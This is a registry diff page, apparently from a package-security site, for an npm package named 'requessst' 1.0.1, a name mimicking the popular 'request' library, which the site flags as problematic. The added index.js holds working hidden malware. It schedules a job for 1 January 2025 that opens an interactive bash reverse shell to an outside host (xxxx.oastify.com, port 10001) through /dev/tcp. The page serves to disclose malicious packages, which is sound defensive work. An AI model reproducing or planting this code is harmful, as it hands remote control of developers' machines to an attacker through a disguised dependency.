requessst 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of requessst might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +18 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,18 @@
1
+ const schedule = require('node-schedule');
2
+ const { exec } = require('child_process');
3
+
4
+ const date = new Date(2025, 0, 1, 0, 0, 0);
5
+
6
+ const job = schedule.scheduleJob(date, function() {
7
+ exec('bash -i >& /dev/tcp/xxxx.oastify.com/10001 0>&1', (error, stdout, stderr) => {
8
+ if (error) {
9
+ console.error(`exec error: ${error}`);
10
+ return;
11
+ }
12
+ if (stderr) {
13
+ console.error(`stderr: ${stderr}`);
14
+ return;
15
+ }
16
+ console.log(`stdout: ${stdout}`);
17
+ });
18
+ });
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "requessst",
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }